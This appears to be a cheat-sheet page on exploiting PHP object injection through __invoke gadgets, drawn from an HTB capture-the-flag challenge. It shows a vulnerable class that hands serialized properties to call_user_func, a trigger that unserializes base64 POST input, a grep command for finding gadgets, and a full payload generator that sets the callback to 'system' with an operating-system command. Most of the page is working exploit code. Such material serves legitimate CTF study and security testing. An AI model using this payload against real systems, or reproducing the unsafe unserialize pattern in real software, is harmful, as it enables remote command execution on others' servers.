Skip to content
PHP
__invoke gadget

__invoke gadget

PHP serialized-object __invoke gadget

__invoke() is a PHP magic method. PHP calls it automatically when an object is followed by parentheses and called as if it were a function.

Arguments written inside the parentheses are passed to the parameters declared by __invoke(). The result returned by __invoke() becomes the result of the object call.

__invoke() runs after application code or another gadget calls the reconstructed object.

Vulnerable gadget

class TargetClass
{
    public $callback;
    public $argument;

    public function __invoke()
    {
        $result = call_user_func($this->callback, $this->argument);
        return $result;
    }
}

call_user_func() accepts a callable as its first argument, passes the remaining arguments to it, and returns the callable’s result. A serialized TargetClass object can replace callback and argument. Setting them to system and an operating-system command turns the object call into command execution.

Trigger

$serialized_data = base64_decode($_POST["<PARAMETER_NAME>"]);
$object = unserialize($serialized_data);
$result = $object();
print($result);

The parentheses after $object cause PHP to call $object->__invoke().

Another gadget can perform the same trigger:

public function __get($property_name)
{
    ($this->controlled_object)();
}

The controlled object must contain an instance of the class defining __invoke().

Finding a gadget

Search the application source for __invoke() methods:

grep -Rni "function __invoke" .

For each result, identify the properties read by the method and the operation performed with them. A usable gadget requires a reachable object call and control over the properties passed to a useful sink.

PHP payload generator

The generator needs the target class name and the properties stored in the serialized object. The target application supplies the real __invoke() method when it reconstructs the object.

<?php
class TargetClass
{
    public $callback;
    public $argument;
}

$payload_object = new TargetClass();
$payload_object->callback = "system";
$payload_object->argument = "<COMMAND>";

$serialized_payload = serialize($payload_object);
$encoded_payload = base64_encode($serialized_payload);
print($encoded_payload);
?>

The class name, property names, and property visibility must match the target source exactly.

Find by: php deserialization, php object injection, magic method, __invoke, callable object, object call, call_user_func, callback gadget, serialized payload generator · Source: HTB/POPRestaurant